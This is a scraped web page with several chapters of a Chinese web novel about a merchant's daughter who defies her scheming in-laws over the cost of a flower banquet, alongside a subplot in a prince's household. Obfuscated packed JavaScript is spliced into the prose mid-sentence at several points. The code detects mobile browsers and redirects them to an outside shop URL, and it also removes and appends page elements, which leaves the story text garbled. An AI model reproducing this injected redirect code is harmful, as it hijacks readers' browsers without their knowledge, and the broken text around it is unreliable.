孙老夫人气急攻心,胸膛上下起伏,她颤抖着手指向顾皎皎,半天竟是一个字也说不出。 顾皎皎见状心情颇为愉悦,她勾唇灿烂一笑:“既然母亲与两位嫂嫂喜欢赏花,那我便不打扰,皎月阁还有要事处理。” 说完,她带着莺儿便要离开。 眼见顾皎皎真要走,孙老夫人忙叫住她:“等等,我还有话未说完,你慌着走什么?” 这是沉不住气了,所以要将目的说出口了? 顾皎皎转身:“不知母亲还有何要紧事。” 孙老夫人深吸口气,努力抑制心中怒气,片刻后她放缓声音示弱道:“方才都是母亲的不是,所谓爱之深,责之切,之所以对你诸多训斥,也是打心里将你当做自己人。” “哦?那便多谢母亲了,所以呢?”顾皎皎挑眉,静候下文。 孙老夫人咬牙,她在心底劝慰自己,为了达成目的,千万要忍耐! 片刻后,孙老夫人笑着道:“皎皎啊,转眼你嫁到咱们安阳侯府已经两年了,我寻思着也应该带你熟悉熟悉京中的各位 夫人,这样,等过几日赏花宴时,你打扮打扮,我带你与你二位嫂嫂与那些夫人打打交道,这样于日后你掌管安阳侯府也大有裨益。” 孙老夫人藏在袖中的手微微捏紧,紧张之色尽显。 顾皎皎听完心中觉得十分好笑,若不是知晓她们心中的龌龊心思,或许她还真就被这老虔婆的‘肺腑之言’所打动,继而掏心掏肺对她们好。 她心中门清,面上却不显分毫,她倒要看看她们究竟打的什么主意。 她故作思考模样,片刻后淡声道:“多谢母亲好意,那儿媳便恭敬不如从命了。” 成了! 孙老夫人握紧的手彻底放松,心中大石也落下。 第五十六章 承担一点 边上的章氏与刘氏互相对望一眼,也松了口气,还得是母亲出手!否则真被这牙尖嘴利的贱蹄子顶嘴顶得一句话也说不出。 顾皎皎将三人神色尽收眼底,眸中夹杂着淡淡嘲讽之色,是嘲讽她们,也是嘲讽自己。 从前的她是多么的眼盲心瞎,才会被这样喜怒皆浮于表面之人玩弄于鼓掌之中? 孙老夫人斟酌片刻后才道:“既然你也没有异议,那我们便可将赏花宴一事准备起来,这次就还是在第一楼点几桌席面吧,上次你二嫂准备的席面差强人意,所以这次便由你来准备,你意下如何?” 顾皎皎忽觉无趣,这几人整日里除了算计她手中钱财,都没有其他手段了? 想让她向从前一样当冤大头?没门! 她笑了笑:“母亲既然吩咐了,那儿媳定然得照做才是,只是第一楼如今的习惯,想来母亲与二位嫂嫂也都听诸位夫人说了,都是先结账后用饭……” “不知这办赏花宴的银子……是儿媳自己从公中支取,还是母亲与二位嫂嫂一人承担一点?” 三人闻言面色沉了下来,刘氏大吼:“我们与母亲一人承担一点?你想得美!我们都承担了,还要你做什么?” “我自然是负责安排赏花宴当天的席面等一应事务。”顾皎皎声音平缓,沉静的目光落在他们身上:“我既然出了力,那自然没有再出钱的道理。” “况且,方才也是母亲说的,上次二嫂嫂布置的几桌席面实在差强人意。”她挑眉:“二嫂嫂,你做出这般大的反应,难道你是对母亲所言心生不满?” 刘氏一肚子的话瞬间噎住,一口气卡在喉咙,上也不是下也不是,最终半天只憋出一句:“胡说八道!我何时对母亲不满过?!” 顾皎皎勾唇:“那便好,若是二嫂嫂真有这个意思,怕是明日京中便会流言四起,兴许二嫂嫂的父亲,也会被朝中文官口诛笔伐。” 刘氏看向章氏求助,而后沉默,不发一语。 顾皎皎那贱人这是在威胁自己啊?若是自己继续与她说道,她便要将白的说成黑的散播到京中,她的娘家是最爱惜羽毛之人,若是因着自己逞一时之快而引来祸端,怕是自己后半辈子也别想有娘家的依靠了。 章氏不像刘氏,娘家也没办法威胁,自然也就有恃无恐些。 她直接开门见山:“三弟妹,大家都是妯娌,又何必闹得这样僵?不若你就好生给二弟妹道个歉,此事也算就此揭过了。” “此事揭过,咱们再好好讨论一下赏花宴之事,若是你觉得一个人太累了,我与二弟妹也能从旁协助你,母亲也能指导咱们。” “只是银两一事,我确实有心无力……” 顾皎皎挑眉,章氏这是暗搓搓的告诉她,力可以大家一起出,钱嘛,就得她一个人出了? 她笑了笑:“没关系的大嫂嫂,你有多少银两便出多少银两便是,若是按照你补贴娘家的标准来,五百两白银,也能点不少好菜了。” “既然是母亲对赏花宴一事热情,大嫂嫂怎么也应该鼎力相助才是,总不能厚此薄彼吧?” 章氏干巴巴道:“自是不会厚此薄彼,只是……” 眼见两名儿媳都在顾皎皎的语言攻势下讨不得丁点好处,孙老夫人颇为恨铁不成钢地看了她们两眼。 这一个二个都是蠢货,到头来还得她出手! 她深吸一口气,面上挂起和蔼笑容:“皎皎啊,你莫要跟你大嫂嫂二嫂嫂一般见识,他们二人什么性子你不是不知道。” “你知道的,我向来觉得你十分能干,赏花宴一事关乎安阳侯府的颜面,除了你我谁也信不不过,况且都是能者多劳,你现在为安阳侯府付出的一切,安阳侯府都会铭记于心,待日后协兆官运亨通之时,便是你的好日子来到的时候。” 孙老夫人一张嘴开开合合的,不停说个没完。 顾皎皎觉得十分聒噪,索性道:“母亲,您的意思为何,您可以直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017271|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接说,儿媳生来愚笨,实在没法子猜。” 孙老夫人对她的态度十分不满,可想到自己的目的,只能咬牙忍着,她笑着道:“这次赏花宴之事,全权交由你处理,由于最近府中银两花销实在太大,因此,赏花宴需要用到的银两,还需你先垫付一下,你放心,待日后协兆有了作为,定然双倍还你。” 双倍还? 顾皎皎觉得这个词太过好笑了,从前她为安阳侯府花的银子还少吗?连最基本的善待都未曾做到,更别说为安阳侯府花的银两了,用出的银两都是肉包子打狗有来无回。 顾皎皎为难道:“母亲,道理是你说的这个道理,可是儿媳之事管家之时为府中用了太多银两,现在实在是没甚余钱……若是……” 孙老夫人看到希望:“若是什么?” “若是母亲能将之事用的嫁妆悉数还我,赏花宴一事我便银两了。” 孙老夫人紧抿着唇不说话。 顾皎皎很满意她这幅如吃了翔一般的表情,她笑意加深:“母亲,若是没有其他事,儿媳便先退下了,赏花宴一事您且考虑考虑吧。” 眼睁睁看着顾皎皎离开,孙老夫人硬是强压怒气一个字也不曾说,且在等等 吧,总能磨到让她掏出银两! 平王府 徐青青背着李嬷嬷到书房去给平王请安,企料扑了个空,还与李嬷嬷撞了个正着。 李嬷嬷失望看着她:“姑娘,奴婢以为方才奴婢已经说得很清楚了,您为何将奴婢的话当做耳旁风?” 徐青青有一丝心虚,转瞬又觉得理所当然起来,她挺直腰杆道:“我才是主子,自然是我想怎么做就怎么做,哪里轮得到你说三道四的?” 李嬷嬷闻言笑了笑,只是那抹笑意却不达眼底,怪不得王爷要将认亲之事一拖再拖,徐青青实在伶不清,仗着有些小聪明净是做些愚蠢到家之事。 回平王府时如此,如今洗了半月恭桶竟是一点长进也无。 第五十七章 破坏 惯是只会表面装得乖顺,心里主意倒是大得很呐! 李嬷嬷如今已不想提点徐青青一句,今后在这平王府,究竟是福是祸,全看她自己的造化了。 她闭了闭眼,叹息一声后淡声道:“姑娘说得是,做奴婢的自是不敢插手主子的事儿,只是如今您也瞧见了,王爷不在书房,您请回吧。” 就这样离开,徐青青自然是不甘心的,她急切追问:“父……王爷何时才回王府?我想见见他……” 李嬷嬷面无表情:“回姑娘,王爷整日事务繁忙,奴婢也不知他何时回府,姑娘可回住处耐心等待,王爷愿意见您时自然会让奴婢传唤您。” “可是……”徐青青还想说什么,李嬷嬷直接将她打断:“姑娘,王爷吩咐了,书房闲杂人等不得入内,若是您不想惹王爷厌烦的话,还请快些离开。” 厌烦二字令徐青青瞳孔微缩,她的心微微颤了颤,不行,她绝不能惹父王厌烦,否则今后她应该如何在平王府内立足? 察觉到李嬷嬷对自己态度的转变,徐青青心思转了几转。 李嬷嬷虽然只是下人,可在平王府中呆得时日长,又是一直在父王身边伺候,若是拉拢了她,于自己也大有裨益。 她有些懊恼自己方才的冲动,忙做出一副泫然欲泣的模样解释道:“嬷嬷,方才我说的都是气话,您千万不要放在心上,我自小便没人教导,过着颠沛流离的日子,是以在情感表达方面,也十分欠缺……” “若是言语上有何处说得不恰当,请您莫要与我一般见识……” 李嬷嬷视线落在徐青青头顶那个小小的发旋上,一丝怜悯之情陡然升起,她都这个岁数了,又何必与一个十多岁的小姑娘斤斤计较? 她叹息一声道:“奴婢自是不会与姑娘置气,只是奴婢毕竟待在王爷身边几十年了,也算是比较了解他的性子,若是姑娘当真有意在平王府扎稳根基,便听奴婢一句劝,早些回院子吧。” 徐青青连忙点头:“好的嬷嬷,我这便回去。” 她犹豫片刻后,又咬唇道:“若是王爷回来,还请嬷嬷替我美言几句……” 李嬷嬷没点头也没摇头,只重复道:“姑娘快些回院子吧。” 徐青青当李嬷嬷默认了,心情颇好,她蹦蹦跳跳回到院子,还未走近,一股恶臭味夹杂着尿骚味扑鼻而来。 这个味道太熟悉了,与刷洗恭桶处的气味一模一样,心中涌上一股不详的预感,她赶忙小跑回院子。 当看到院中景象时,她差点没当场晕厥过去! 原本十分雅致的院子,此时四处都被泼满了污秽之物,院中种的花花草草也都被悉数拔了个干净,土壤好似被黄白之物泡过一般,潮湿中带着一股重重的尿骚味。 “啊!这是谁干的!” 徐青青心中怒火丛生,一张苍白的面皮被气得红润不已,她几乎下意识的便将破坏她院子的真凶与平王妃联系到一处,在这王府之中,敢这般放肆对她的,怕也是有人撑腰的,根本无所畏惧! 徐青青想去找平王告状,可往外走了数米,她才想起来,自己方才并未见到平王,又想到李嬷嬷的嘱托,,她的步子逐渐慢了下来…… 片刻后,她咬牙回头认命般捏着鼻子打扫。 院外,林嬷嬷眸中闪着得意的光,哼,贱蹄子,你且等着吧,你的‘好日子’还在后头呢! 安阳侯府 夜间时,孙协兆阴沉着脸大步跨入院内,见顾皎皎躺在贵妃榻上优哉游哉的模样,心中更是气不打一处来。 “贱人,你竟还有心思这般?!”他上前一步,猛的将一旁摆放着糕点的凳子踹翻,噼里啪啦声中,盘子四分五裂,盘中糕点也滚落得四处都是。 顾皎皎睁眼,冷眸直直射向他:“要发疯去别处,来我皎月阁作甚?” “你说我发疯?”孙协兆指着自己,似乎没料到顾皎皎竟会骂他。 顾皎皎淡定点头:“不是你发疯将方才那 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她笑看着孙协兆,轻轻抚摸着鬓角随意垂下的发丝,眼眸流光溢彩。 孙协兆被看得十分不自在,不得不 说,顾皎皎长相十分美丽,被她这般看着,他的心脏跳动竟漏掉了一拍。 他赶忙咳嗽一声掩饰窘迫:“咳!顾皎皎你看什么看,告诉你,若是不想被休弃的话,便同从前一样,好生将侯府照顾妥当,赏花宴一事也得安排好了,不然你就等着一纸休书吧!” 顾皎皎故意装作十分害怕的模样:“别,夫君,别休我,我定然会将你说的都办到的……” 孙协兆闻言得意,还以为这顾皎皎当真有了长进,没想到同之前还是一般模样。 他正想抬头适当安抚几句顺毛,却正好撞进顾皎皎似笑非笑的眸子里。 孙协兆如今哪里不明白顾皎皎的意思,气得咬牙切齿。 顾皎皎看着他,面上满是戏谑。 第五十八章 又等到了什么 她薄唇微挑,嘲讽道:“孙协兆,看来你心中还是希望我像方才说的那般乖巧,是吗?为了不被休弃,不论什么都会毫无底线的接受。” “不过,我奉劝你,别做白日梦了,方才你说的,我一个字也不允,也不会出一分银钱!” 孙老夫人白日里虽话说得十分漂亮,可他们相处了好记载,又哪里不清楚她的秉性! 见愿望落空,孙协兆暴怒:“什么叫一个字也不允?女子在家从父,出嫁从夫,夫死从子,三从四德向来是女子的美德!我让你做什么,你就得做什么!” 顾皎皎冷笑:“我在这世上无父、无夫亦无子,既如此,便是我自己说的,才是天!” 孙协兆闻言气得脸色铁青,什么叫无父无夫亦无子,她将自己当成了什么? 顾皎皎没了耐心与他周旋,一挥手道:“莺儿,送客,日后莫要将不相关的人与狗放进皎月阁。” 莺儿赶忙点头:“是,姑娘奴婢这就撵人离开。” 姑娘今日的举动看得她十分高兴,她忍住笑意弓着腰道:“三爷,请回吧!我们姑娘要歇息了。” 孙协兆大吼:“回什么回?皎月阁未必我还住不得了?还不伺候我梳洗?” 他这是想耍无赖? 顾皎皎眉头微挑:“看来你是还没吃够上次的教训。” 被她狂揍的难堪记忆涌上来,孙协兆面色难看不已,他越发恼羞成怒:“贱人!你不要欺人太甚!” 究竟是谁欺负谁?她嫁到安阳侯府这两年,受到的欺负还少了吗?可每次她都忍辱负重,她告诉自己,付出一切没关系,等孙协兆回来,他定然会好好善待自己。 可后来她又等到了什么? 将脑海中的不堪记忆丢掉,顾皎皎漫不经心掏了掏耳朵,一副不在意的模样,片刻后她挥了挥手,两名身材强壮的小厮径直上前,连招呼也不打一声,如拖死狗一般将孙协兆拖出院门。 “贱人!你大胆!你竟敢这样对我?你信不信我明日便将你休了赶回顾府去?” 孙协兆不停手脚并用扑腾,可他那小身板,又哪里是两名小厮的对手…… 顾皎皎觉得十分聒噪:“丢出去,将院门关好了,莫要让有些阿猫阿狗又偷偷溜进来。” “是,姑娘!” 被丢出皎月阁后,孙协兆颇为狼狈的去了老夫人院子,孙老夫人哪里有一点儿生病之人的模样,她坐在雕花木椅上品茶,面色红润极了。 见孙协兆来了,她赶忙坐起身询问:“协兆,事情办得如何了?顾皎皎可松了口?” 孙协兆无奈摇头,他捏着眉心:“顾皎皎远不及从前那般好拿捏,她直说了不愿出赏花宴的银钱。” 孙老夫人皱眉:“你就没说你要休了她这种话?她听了难道还能不急?” “自然说了,儿子全是按照母亲与两位嫂嫂的嘱托说的,可顾皎皎如今根本不吃这一套,还叫了两名小厮将我给丢了出来!” 这下孙老夫人不说话了,因她瞧见了孙协兆微微有些破损的衣裳。 孙老夫人眸中涌出些许心疼:“那顾皎皎真是野蛮,有什么话不能好好说?” 孙协兆微微摇头:“这都没什么,母亲,我担心赏花宴一事,若是顾皎皎执意不愿给银子的话,那办赏花宴的银钱又从何而来?” 孙老夫人显然也觉得头痛:“我也正在思索此事,你那两个嫂嫂又是一毛不拔的。” 母子二人陷入沉默,片刻后,孙协兆道:“罢了,还有些时日,母亲,这几日您都将顾皎皎唤来请安,日日在她面前讲赏花宴一事,顺便日日向她哭诉安阳侯府的不易,从前两年您的描述可以看出她应当是一个心肠柔软之人,多说几次说不定就同意了……” 孙老夫人沉默片刻后点头应下:“如今也只能这样了。” 后面一连几日,孙老夫人都如孙协兆说的那般,在顾皎皎面前提赏花宴一事与安阳侯府的困难,她眼巴巴的等着顾皎皎接话,然后后者却只点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孙老夫人眼眸放光,恹恹之色消失殆尽:“这的确是天大的好事,若是小云南王来了咱们安阳侯府的赏花宴,那无数拥护小云南王之人也会前来,这样你便能多多结识官场之人,于你之后仕途有益无害。” 第五十九章 没想到高看她了 “就是这个道理!”孙协兆拍掌,十分高兴:“所以母亲,赏花宴定要布置好些,莫要让旁人说咱们安阳侯府寒酸才是。” 孙老夫人闻言,情绪冷淡了些许,她咬牙道:“如何布置好,想要布置好,哪样不需要银子?偏偏顾皎皎那贱蹄子硬是一点儿也不松口,你让我如何将赏花宴布置好?” 孙协兆皱眉:“难道母亲的意思是,这赏花宴不办了?” 孙老夫人摇头:“本来是想着装病不办的,毕竟办赏花宴也需要不少银子,可如今你说了,赏花宴当日小云南王要来,这般机会可不是日日都有的,那自然是得咬牙继续办了。” “如此,便劳烦母亲想想办法了。”孙协兆拱手致谢:“赏花宴当日,儿子还邀请了此次科举三元及第的状元郎杜玉荣,此人素有才子之名,人品贵重,适合深交。” “人品贵重?怕不是个空有才华的寒门子吧?”孙老夫人嗤之以鼻:“寒门子就算三元及第又如何,没有强盛的家族做后盾,走不远的,又何必费那些心思与他交好?” 孙协兆嘘了一声,他压低声音:“母亲您不知晓情况,可莫要胡说,这位三元及第的状元郎可不是什么寒门子,他的父母都是我朝百年大族,且也算书香世家,祖父辈桃李满天下,背景相当雄厚。” 孙老夫人闻言吃惊:“竟是这般,若是这样,那状元郎岂不是人脉十分广?” “正是。”孙协兆点头:“所以儿子有意在此次赏花宴中同他结识一番。” 协兆多多结识人脉,于他日后仕途有益,于安阳侯府也有益。 孙老夫人想清楚利害关系后,忙点头允诺:“放心吧,交在我身上,定不会丢咱们安阳侯府的脸面。” 得到想要的答案,孙协兆满意离开。 宋嬷嬷上前替孙老夫人按摩头部:“老夫人,您答应了三爷要将赏花宴办好,可三夫人那边也并未答应出银两啊……” 孙老夫人面色不虞:“是啊,这次那贱蹄子当真将银两护得紧得很,任凭怎么说都一毛不拔!” 她眯眼:“罢了,协兆说的事迫在眉睫。” 孙老夫人站起身,她到妆匣处找了找,拿出一个金灿灿的信物:“这些年我倒是手中存了一些银两,你且拿着信物去南方钱庄支取一些来备用。” “是,老夫人。” 看着宋嬷嬷离开的背影,孙老夫人感觉心在滴血,那可都是白花花的银子啊!迟早有一日,她得将今日损失的银子都从顾皎皎处拿回来! 平王府 平王妃慵懒地躺在贵妃塌上假寐,一双美眸轻阖。 冬儿站在一旁轻轻替她打扇,室内寂静,只余冰块融化的轻微声响。 “冬儿,最近徐青青怎样了?王爷可悄悄去瞧过她?” 冬儿低声道:“回王妃,她最近日子十分难熬,王爷也一直未曾去瞧过徐青青。” 平王妃闻言睁眼,眸中满是兴味:“怎么,她竟没向王爷诉苦?难道本王妃当初看错了她的秉性?” “害,王妃您想岔了。”冬儿捂唇笑:“她哪里是不想向王爷诉苦啊,只是王爷没搭理她罢了。” “林嬷嬷收拾徐青青的第二日,徐青青便迫不及待四处打听王爷踪迹,废了好大一翻力气,才带着一身臭味跪到了王爷面前。” 平王妃:“亏我还以为徐青青有几分脑子,没想到高看她了。” 冬儿说得眉飞色舞:“可不是吗,王妃您不知道当时王爷的面色有多难看,王爷本是与一大人讨论朝政,被她一打搅,什么事儿也没干成。” 平王妃勾唇:“怪不得王爷不愿管她呢,她害王爷丢了这般大的颜面,能理她才是怪事。” 冬儿深以为然,片刻后,她犹豫道:“王妃,有一事奴婢不知当讲不当讲。” “何事?” “就自打那日徐青青跪倒王爷跟前后,京中莫名多了些传言,都说咱们王府要多一个郡主了……” “莫名?”平王妃轻笑:“你觉得这个世界上会有莫名之事吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘氏闻言火气更甚,她大喊道:“你倒是说呀,我倒是要瞧瞧你还能说什么,未必还能说出朵花儿来不成?” “你可知此次赏花宴是何人出的银子?” 刘氏冷哼:“自然是顾皎皎,大嫂,你这是将我当成了傻子?” 章氏用看傻子一样的目光看着刘氏:“不是三弟妹,是母亲出银两办的这场赏花宴。” “母亲?”刘氏诧异,像是知道了什么了不得的事情:“她竟也舍得?” 平日里,孙老夫人是个什么样子,当儿媳的自然心知肚明,说是一毛不拔也毫不夸张。 章氏:“我初初听到这个消息时也觉得十分不可思议,可当打听到赏花宴时何人要来,我就不觉得奇怪了。” “难道赏花宴时有贵客来咱们安阳侯府?” “正是。”章氏压低了声儿:“据可靠消息,三弟请了小云南王与最近京中炙手可热的状元郎来咱们府。” 刘氏微张唇,诧异极了:“三弟竟这么大的面子,听说那状元郎家中可显赫得很呐!” 章氏笑了笑:“三弟毕竟与小云南王在一处久了,多认识些人也无可厚非。” 二人不再说话,静静干着手中活计,心中思绪逐渐活跃起来,若是自家兄弟能与小云南王结识,日后无论做什么是不是都能更加顺利一些? 二人的视线不经意撞到一处,对方眸中的算计皆一览无余。 刘氏有些尴尬,她轻咳了一声:“大嫂,明日赏花宴时客人颇多,或许你我二人可以合作一番。” 章氏立马心领神会,敌人的敌人便是朋友,她笑着点头:“二弟妹说得是。” 翌日 为着赏花宴不出纰漏,孙老夫人早早的便起床监督府中奴仆干活,天边泛起丝丝鱼肚白时,宴席已然准备妥当。 她回了住处换身衣裳准备迎客。 皎月阁 莺儿将顾皎皎从床上拉了起来:“姑娘,您不能再睡了,今日是赏花宴,京中许多人都回来宴席,若是咱们姗姗来迟说不过去啊!” 顾皎皎睡眼惺忪:“慌什么,这不是还早着呢吗?” 莺儿着急得不得了:“还早呢小姐,老夫人天还未亮就到花园折腾了,听眼线说,方才老夫人回房换了身衣服已经出门迎客了!” 闻言,顾皎皎这才清醒了一些,她坐起身:“知晓了,去打水来伺候我熟悉吧,若是待会儿去迟了,怕是他们又得说三道四,次次都去应付,也实在麻烦。” “就是啊,姑娘。”莺儿见自家姑娘终于清醒,她心中颇为欣慰。 待梳洗完后,莺儿左挑右选,终是选了一件十分华贵耀眼的衣裙:“姑娘,您今日穿这件,定能让所有人都眼前一亮!” 顾皎皎摇头:“不要这件,又不是参加选秀,要人眼前一亮做什么?太打眼了反而不好。” 莺儿只好将衣裙放下,她又找了几件出来摆在顾皎皎面前:“那姑娘想穿哪件?” 视线在众多衣衫中转了一圈,顾皎皎指了指:“就那件淡蓝色吧,款式端庄大气。” 莺儿将淡蓝色衣衫取出,她看了看有些不满:“姑娘,这件衣裳端庄是端庄,可未免太素净了一些,这颜色也太淡了,若是不仔细瞧,根本瞧不出还带着淡蓝……姑娘,要不还是换一件艳丽些的吧……” “不用了,就这件。” 顾皎皎仍旧保持己见:“就这件。” “姑娘,您真是白白浪费了这么好的容颜与身材……”莺儿低声嘟囔着。 顾皎皎闻言无奈笑了笑,她解释道:“不是我不愿穿好看些,而是我若是穿得太过华丽反而对自己的处境不利,就这样端庄大气些挺好的。” 莺儿:“姑娘,您的意思是……若是穿得太过华丽,或许会被今日赴宴的夫人针对?” “也不是针对。”顾皎皎没有点头也没有摇头,片刻后,她淡声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017275|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“今日赏花宴他们必定会想法子对付我,而我也必定会反击,女子总归都会有些许嫉妒心,若是我穿得太过华丽,那些夫人便会先入为主对我的印象不好,那我反击她们时,便不会获得她们的认可……总之穿素净一些,不那么张扬总归是没错的……” 莺儿闻言也不再劝说顾皎皎,只安安静静的替她换衣绾发。 待收拾完后,主仆二人便直奔花园,花园中早已站满了不少人,三三两两围到一处闲谈。 顾皎皎面带笑容,她直接来到孙老夫人面前福身行礼:“母亲。” 孙老夫人睨了她一眼,阴阳怪气道:“哟,这不是皎皎吗,怎的今日就这般早?怎么没多睡会儿?” 闻言,许多夫人打量的视线都落在顾皎皎身上。 顾皎皎面不改色,她笑着道:“母亲说笑了,今日赏花宴一事,是母亲早早便说了的,并非临时通知,儿媳自然能够准时到达。” “若是母亲像上次那样,待宴席开始后才邀人来唤儿媳,儿媳自然只能姗姗来迟。” 孙老夫人咬牙:“在你眼中,不姗姗来迟已经算是十分好了?你既然知晓今日是赏花宴,为何不曾像 你大嫂二嫂一般,今日起个大早帮忙干活?” 顾皎皎笑:“儿媳笨手笨脚自然是怕帮倒忙,况且能者多劳,母亲与两位嫂嫂自然是比儿媳能干一万倍的,儿媳自小便在商户长大,许多见识自然是比不上母亲与二位嫂嫂的。” 孙老夫人看着顾皎皎笑意盈盈的脸,愣是一句话也说不出来,都说伸手不打笑脸人,况且顾皎皎将自己的姿态放得极低,若是自己在当着众夫人的面为难她,很明显便能看出自己是故意为之。 “呼!”孙老夫人深吸一口气,闷声道:“来了便好,还不快去同你大嫂二嫂一道迎客?” “是,母亲,儿媳这便去。” 刘氏与章氏一直注意这边的动静,见孙老夫人就这般轻飘飘说了几句便放过了顾皎皎,她们二人心中都十分不满。 第六十一章 最大的乐事 由于二人需要迎客,是以站的距离十分远,听不真切孙老夫人与顾皎皎二人究竟说了何话。 刘氏看得一头雾水:大嫂,母亲今日怎的这般好说话?顾皎皎究竟与母亲说了什么?” “这个我怎么知晓。”章氏压低了声儿:“小声些,她过来了。” “过来便过来,未必我还怕她不成。”刘氏嘟囔,见顾皎皎身影越来越近,她到底还是熄了声儿。 顾皎皎将二人小声嘀咕的模样尽收眼底,她笑了笑:“二位嫂嫂方才在说什么?可以说出来,我们大家一道乐一乐。” 一道乐一乐?想得美! 刘氏翻了个白眼,心中腹诽道看你出丑就是最大的乐事! 想到昨日的谋划,刘氏与章氏对望了一眼,不动声色打量了一番院中宾客,二人十分默契地选择先隐忍不发,如今还不是时候。 顾皎皎一直等着她们二人出招,却一直等到几乎所有宾客都迎完了,二人也没有任何动作。 她心中难免生出一丝怀疑,难道今日是她猜测错了? “大嫂、二嫂,如今既然宾客都来得差不多了,你们且先去歇着吧,接下来我一人足矣。” “不行!” 顾皎皎话音刚落,刘氏与章氏二人便异口同声拒绝。 二人都未料到对方会说出同样的话,赶忙找补,刘氏干巴巴笑了笑道:“我们都不累,三弟妹,若是你累了就去歇着吧,此处有我与大嫂足矣。” 章氏也劝说:“是啊,三弟妹,你平日里哪里这般早起过,想必站了这么久十分累了吧?若是累了,便去旁边歇着吃杯茶。” 小云南王与新科状元都还未来,她们怎能离开?况且她们都各自叫了自己兄弟来,目的便是能与小云南王结识,若是现在离开,那她们的所有算计且不都成空? 顾皎皎暗自打量二人神色,从中品出一丝不对劲来,原本她准备离开的,如今改了主意,她倒要看看这二人葫芦里究竟卖的什么药! 数秒后,她颇为动容道:“真是多谢二位嫂嫂这般为我着想,只是若我现在离开,岂不是对不住二位嫂嫂对我的这片好心?我得和二位嫂嫂同进同退才是。” 刘氏听得心中烦躁不已,她倒是忘了,这小贱蹄子最是能说会道,她正想怼两句,远远的却瞧见两辆马车在安阳侯府门口停下。 刘氏与章氏激动不已,小云南王与新科状元来了! 她们二人赶忙几步跨下台阶候在马车前,那模样,要多谄媚有多谄媚。 刘氏陪笑道:“小王爷,杜大人,已经恭候您们多时了,里面请。” 顾皎皎并未上前,她远远地站在台阶前打量她们动作,此刻她已经知晓了这平时惯会躲懒的二人今日为何会这般反常,原来是想攀上小云南王啊! 不过,杜大人是何人?竟也能得她二人这般热情相待? 她的视线落在后方的马车上,轿帘掀开,一席月白长衫的年轻男子缓步下了马车。 男子的容貌俊美,却不带一丝攻击性,唇边挂着一抹温柔笑意,他就像温润的玉石一般,好似没有锋利的棱角,极易使人产生好感。 “顾夫人,你不来迎迎本王与杜大人?” 顾皎皎的思绪被打断,她抬眸正好撞进沈云祉似笑非笑的眼中。 她忽觉面颊发烫,方才她看那杜大人的视线确实太过直白,小云南王不会误解了吧? 顾皎皎缓步踏下台阶,在沈云祉与杜大人面前站定,她俯身行礼:“见过小王爷,见过杜大人,里面请。” 沈云祉的目光一直追随着顾皎皎动作,待她站直身子,他笑着道:“顾夫人似乎对杜大人十分感兴趣,既如此本王便介绍给你认识认识。” “这是三元及第的状元郎,杜玉荣。” 说着,沈云祉看向杜玉荣:“玉荣,这是安阳侯府的三夫人顾皎皎,也就是协兆的夫人。” 杜玉荣噢了一声,温润的眸子看向顾皎皎,他礼貌一笑:“三夫人,幸会。” 一旁的章氏与刘氏几乎嫉妒得红了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017276|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,她们最先迎上来,可小云南王与杜大人却连正眼也未给她们一个,如此便也就罢了,她们还能自我催眠,说他们二人位高权重,高傲些也可以理解。 可偏偏他们对顾皎皎那个卑贱的商女又笑盈盈的!是一丁点高傲的姿态也未曾瞧见啊! 顾皎皎猜不准沈云祉这番行为究竟是何意思,多说多错,因此她只回以一笑:“二位里面请。” 沈云祉折扇打开:“走吧玉荣,早便听说了安阳侯府的百花绽放的景观一绝,今日咱们可有眼福了,到时候你这京中第一大才子可得即兴作诗一首才够意思啊!” 杜玉荣无奈一笑:“赏花作诗可,但小王爷又何必同旁人一般取笑我,我哪里担得起京中第一大才子的名号?” “本王说你担得,你就担得。” 杜玉荣本欲说话,却见乌泱泱一群人走了过来。 他看向顾皎皎:“三夫人,那些人可是安阳侯府的客人?” 顾皎皎回眸,果然瞧见身后方向快步走了十余人过来。 她仔细打量了几眼带头那两人的眉眼,竟一人与刘氏相似,一人 与章氏相似。 